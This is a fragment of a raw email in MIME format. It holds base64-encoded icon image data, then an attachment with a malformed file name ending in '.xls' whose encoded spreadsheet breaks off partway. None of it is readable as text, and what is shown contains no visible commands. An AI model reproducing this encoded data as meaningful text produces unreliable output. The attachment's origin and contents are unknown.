CQAwAAAA5AQAAAAAAADo2wkA4AUAAOQEAAAAAAAAKAAAABAAAAAgAAAAAQAEAAAAAADAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA
/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAigAAAAAAAAiooLsAAAAACo
qLu7AAAACoqEu7uwAAAiIkS7u7AAAMIiSbm5sAAMgiRLm5uQAMjCJJm5uZAMzMwkmZmZmQzM
zMmZmZmZzMzAAJmZmZnMwAAACZmZmQAAAAAAmZmZAAAAAAAJmZAAAAAAAAAJAP//AAD+fwAA
/CcAAPwDAAD4AQAA8AEAAPABAADgAQAAwAEAAIAAAACAAAAABwAAAB+AAAD/wAAA/+EAAP/7
AAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAgAAAgAAA
AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AACZ
kAAAAAAAD3mfAIAAAACZ9/eYiAiAAJmfeZiIh3gAmff3l4R3eAAAeZ93RHd3gACZl3hIiIeA
AAiHdEh3eIAAh4eEh3d3gAh3eHSHd3eACHd4CHd3d4AIeIAAh3d3gAiAAAAId3eAAAAAAACI
d4AAAAAAAACIAAAAAAAAAAAAx////4N///8AJ///AAP//wAD///AAf//wAH//+AB///AAf//
gAH//4IB//+HAf//n4H////B////8////////ygAAAAQAAAAIAAAAAEABAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAD/AAAAgAAAAAD/AAAAgAAAAP//AAAA/wCAgIAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIiIiIiIiIiIiIiGKIiIiIiIiGJihEiIiIiIJiZE
RIiIiIJiYURESIiIMzMRRERIiIgDMxVFRUiIgGMxFFRUWIgGAzFVRUVYgAAAMVVVVVWAAAAF
VVVVVQAACIhVVVVVAAiIiIVVVVWIiIiIiFVVVYiIiIiIhVVYiIiIiIiIhYj//wAA/n8AAPwn
AAD8AwAA+AEAAPABAADwAQAA4AEAAMABAACAAAAAgAAAAAcAAAAfgAAA/8AAAP/hAAD/+wAA
KAAAABAAAAAgAAAAAQAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz/wAzmf8AM2b/AMyZ
ZgAzzP8AzGYzAGbMZgDMmTMAzGZmAGaZMwAzM/8AM5kzAJnMmQDMzJkAAMz/ADOZAABmmf8A
ZpnMAGbMmQBmZv8AzMxmAABm/wAzzDMAmWYzAGbM/wCZZmYA8MqmAICAAACGhoYAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeHh4eHh4eHh4eHh4eHh4e
Hh4eHh4eHgwPHh4eHh4eHh4eHh4eHgwGFgweBAQeHh4eHh4eHh4GBgYSBAQEBB4eHh4eHh4S
CwYGHAQEBAQYHh4eHh4aDwsLGREBAQIEDh4eHh4eDQkLCQgBAQECAg4eHh4eDRQbCRcIAQEB
AgIVHh4eAwMDBwkIEQEBAQICAB4eAwMDAwcFCAEBAQECAAAQHgMDBwUFBQgBAgIKAAAAAAMH
BwUDHh4eAQICCgAAAAAFBQMeHh4eHh4CAgoAAAAAHh4eHh4eHh4eHgIKAAAAEB4eHh4eHh4e
Hh4eEwAAAB4eHh4eHh4eHh4eHh4eAB4e//8AAP5/AAD8JwAA/AMAAPgBAADwAQAA8AEAAOAB
AADAAQAAgAAAAIAAAAAHAAAAH4AAAP/AAAD/4QAA//sAACgAAAAQAAAAIAAAAAEAIAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPz8/AP19fYL5+blHcrD
vUjKw7tJ5uPhIfHx8RDq6Ocb6ujmHPj39wn+/v4BAAAAAAAAAAAAAAAAAAAAAP39/QL39/cJ
3eLaLIqnZKF7kEW+lZ2Gjruzq1uzvcFjmKKlja6nnW/SzMY++fn5BwAAAAAAAAAAAAAAAP7+
/gH7+/sF7PHtG5G9iaNMnyL+TI0A/26abL9+oaakWaDE1VKZveN4nquvr6mgbPTz8w4AAAAA
AAAAAP7+/gH8/PwD+Pj4CLnbwnRmuXT1V7hS/1qiIv5Ro3nnK7TQ8hq85P8gs9X/M6XE8YOk
qZnw8O8SAAAAAP7+/gH8+/wE9/f3Cefn4DeCu3XXWrA5/1+0N/+GkVD/V6Ct/xLG7v8IyvH/
DcLn/wq61/9GrLvL3+LhJgAAAAD8/PwD9vb2Curl4TLBuZS3aZ0b+0qiAP9pkgD/AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAD==
--N05WFp22eT95988s781CLn651878CdVQ
--N05WFp22eT95988s781CLn651878CdVQ
Content-Type: application/octet-stream;
name==us-asciiQgeohyd200205=.xls
Content-Transfer-Encoding: base64
Content-ID:
0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAATAAAAAAA
AAAAEAAA/v///wAAAAD+////AAAAAEsAAAD/////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
//////////////////////////////////8JCBAAAAYFAPIVzAfJAAAABgAAAOEAAgCwBMEA
AgAAAOIAAABcAHAACAAASE9VREFZRVIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIEIAAgCwBGEBAgAAAD0BBAAEAAYAnAACAA4AGQACAAAAEgACAAAA
EwACAAAArwECAAAAvAECAAAAPQASAPH/8f/CLtUMOAAAAAAAAQA+A0AAAgAAAI0AAgAAACIA
AgAAAA4AAgABALcBAgAAANoAAgAAADEAGgDIAAAA/3+QAQAAAAAAAAUBQQByAGkAYQBsADEA
GgDIAAAA/3+QAQAAAAAAAAUBQQByAGkAYQBsADEAGgDIAAAA/3+QAQAAAAAAAAUBQQByAGkA
YQBsADEAGgDIAAAA/3+QAQAAAAAAAAUBQQByAGkAYQBsADEAGgDwAAEA/3+8AgAAAAIAAAUB
QQByAGkAYQBsADEAGgDIAAEA/3+8AgAAAAIAAAUBQQByAGkAYQBsADEAGgC0AAEA/3+8AgAA
AAIAAAUBQQByAGkAYQBsADEAGgDIAAAA/3+QAQAAAAIAAAUBQQByAGkAYQBsADEAGgDcAAUA
/3+8AgAAAQIAAAUBQQByAGkAYQBsADEAGgDcAAEA/3+8AgAAAAIAAAUBQQByAGkAYQBsADEA
GgDwAAAA/3+QAQAAAAIAAAUBQQByAGkAYQBsAB4EHAAFABcAACMsIyMwXCAiRiI7XC0jLCMj
MFwgIkYiHgQhAAYAHAAAIywjIzBcICJGIjtbUmVkXVwtIywjIzBcICJGIh4EIgAHAB0AACMs
IyMwLjAwXCAiRiI7XC0jLCMjMC4wMFwgIkYiHgQnAAgAIgAAIywjIzAuMDBcICJGIjtbUmVk
XVwtIywjIzAuMDBcICJGIh4EOwAqADYAAF8tKiAjLCMjMFwgIkYiXy07XC0qICMsIyMwXCAi
RiJfLTtfLSogIi0iXCAiRiJfLTtfLUBfLR4EOAApADMAAF8tKiAjLCMjMFwgX0ZfLTtcLSog
IywjIzBcIF9GXy07Xy0qICItIlwgX0ZfLTtfLUBfLR4EQwAsAD4AAF8tKiAjLCMjMC4wMFwg
IkYiXy07XC0qICMsIyMwLjAwXCAiRiJfLTtfLSogIi0iPz9cICJGIl8tO18tQF8tHgRAACsA
